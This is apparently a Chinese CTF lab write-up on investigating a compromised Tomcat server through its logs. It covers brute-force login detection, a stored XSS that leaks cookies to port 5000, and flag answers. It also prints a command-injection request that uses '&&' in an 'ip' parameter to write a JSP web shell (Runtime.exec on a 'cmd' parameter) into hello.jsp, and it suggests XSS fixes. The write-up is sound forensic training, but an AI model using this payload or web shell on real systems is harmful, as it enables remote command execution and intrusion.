玄机靶场 | 日志分析-Tomcat日志分析
前言
小王在自己的服务器上安装配置了Tomcat,并写了几个简单的网页。但由于安全意识不足,很快就被攻击者利用了。请你帮他排查一下存在的安全问题
RDP 端口3389 用户名/密码:Administrator/4210bf@
索引
题目列表
步骤#1
Tomcat日志所在的绝对路径是?
首先连接目标电脑,在C盘中可以看到server目录,根据名字猜测是提供服务的
点进去可以看到tomcat目录
打开目录文件,在里面找到logs目录,然后复制路径即可
1 | flag{C:\server\apache-tomcat-11.0.5\logs} |
步骤#2
攻击者对某网站进行了口令爆破。请你判断口令成功匹配的请求的响应码是?
我们打开logs目录,可以看到里面有个日志占用空间较大
打开文件进行分析,前面是攻击者在进行目录扫描,然后后面有个关键的地方
这里攻击者访问了/demo/admin.jsp
,但是由于没有凭证随后重定向到登录界面,也就是login.jsp
,接着就开始对网站进行口令爆破
可以看到,在经历了大量了爆破之后也是成功登入了系统,状态码显示302,然后跳转到/demo/admin.jsp
因此判断口令成功匹配的响应码就是302
1 | flag{302} |
步骤#3
请你判断其服务器上用于盗取cookie而监听的端口是?
题目描述:攻击者向admin.jsp的管理员留言板界面发送了恶意JS代码从而构成了存储型XSS。已知攻击者试图盗取管理员cookie,并将其发送至其本地服务器上。
题目提示攻击者向admin.jsp
发送恶意代码,结合前面的日志,我们可知该文件位于/demo
目录里面
里面有个messages.txt
,打开后可以看到里面存储了管理员留言板接收到的信息
这个js语句就是攻击者用来窃取管理员cookie的,因此用来监听的端口就是5000
1 | flag{5000} |
接下来我们分析一下admin.jsp
中的漏洞代码,里面有个代码片段用于显示留言
1 | <h2>所有留言</h2> |
其中关键就是<li><%= message %></li>
,它使用了 JSP 的表达式 <%= ... %>
直接将从文件中读取的 message
字符串未经任何处理就输出到 HTML 页面上
攻击者提交的留言内容会原封不动地保存到messages.txt
文件里,浏览器在解析 HTML 时,会把 <script>
标签当作可执行代码来运行,从而触发XSS漏洞
修复建议就是对输出的 message
变量进行HTML 实体编码
修复前:
1 | <li><%= message %></li> |
修复后:
1 | <%@ page import="org.apache.commons.lang3.StringEscapeUtils" %> |
或者使用JSTL标签库
首先在JSP页面顶部引入JSTL核心标签库
1 | <%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %> |
然后使用 <c:out>
标签来输出内容,它默认就会进行HTML编码
1 | <c:forEach var="message" items="${messages}"> |
步骤#4
攻击者利用执行系统命令的参数是?
回到刚才的log日志,在最下面可以看到有个文件传递了系统命令内容
该文件原本可能是用于接收IP地址并执行网络命令的(如 ping
或 traceroute
),攻击者没有输入一个正常的IP地址,而是通过命令连接符 &&
执行系统命令,因此参数就是ip
1 | flag{ip} |
步骤#5
攻击者通过某种手段遗留了后门文件,请你找到该文件并按需提交其文件中的flag
同样也是刚才的日志文件,看最下面那行的参数内容
1 | ip=8.8.8.8+%26%26+echo+%5E%3C%25%40+page+language%3D%22java%22+import%3D%22java.util.*%2Cjava.io.*%22+%25%5E%3E%5E%3C%25+String+cmd+%3D+request.getParameter%28%22cmd%22%29%3B+if+%28cmd+%21%3D+null%29+%7B+Process+p+%3D+Runtime.getRuntime%28%29.exec%28cmd%29%3B+BufferedReader+reader+%3D+new+BufferedReader%28new+InputStreamReader%28p.getInputStream%28%29%29%29%3B+String+line%3B+while+%28%28line+%3D+reader.readLine%28%29%29+%21%3D+null%29+%7B+out.println%28line+%2B+%22%5E%3Cbr%5E%3E%22%29%3B+%7D+%7D+%25%5E%3E+%3E+C%3A%5Cserver%5Capache-tomcat-11.0.5%5Cwebapps%5CROOT%5Chello.jsp HTTP/1.1" 200 1349 |
URL解码,查看原始内容
1 | ip=8.8.8.8 && echo ^<%@ page language="java" import="java.util.*,java.io.*" %^>^<% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = reader.readLine()) != null) { out.println(line + "^<br^>"); } } %^> > C:\server\apache-tomcat-11.0.5\webapps\ROOT\hello.jsp HTTP/1.1" 200 1349 |
可以看到攻击者把代码写进了C:\server\apache-tomcat-11.0.5\webapps\ROOT\hello.jsp
我们简单分析这个后门代码
1 | <%@ page language="java" import="java.util.*,java.io.*" %> |
文件上传后,攻击者只需要访问/hello.jsp?cmd=
即可执行系统命令
我们找到这个文件,查看里面的内容
可以看到里面有个注释写了flag
1 | /* 疑似flag? eW91bWFkZWl0 */ |
但是如果直接提交的话是不行的,需要进行base64解码后再提交
1 | flag{youmadeit} |
玄机靶场 | 日志分析-Tomcat日志分析
https://waynejoon.github.io/posts/Xuanji-CTF-Tomcat-Log-Analysis/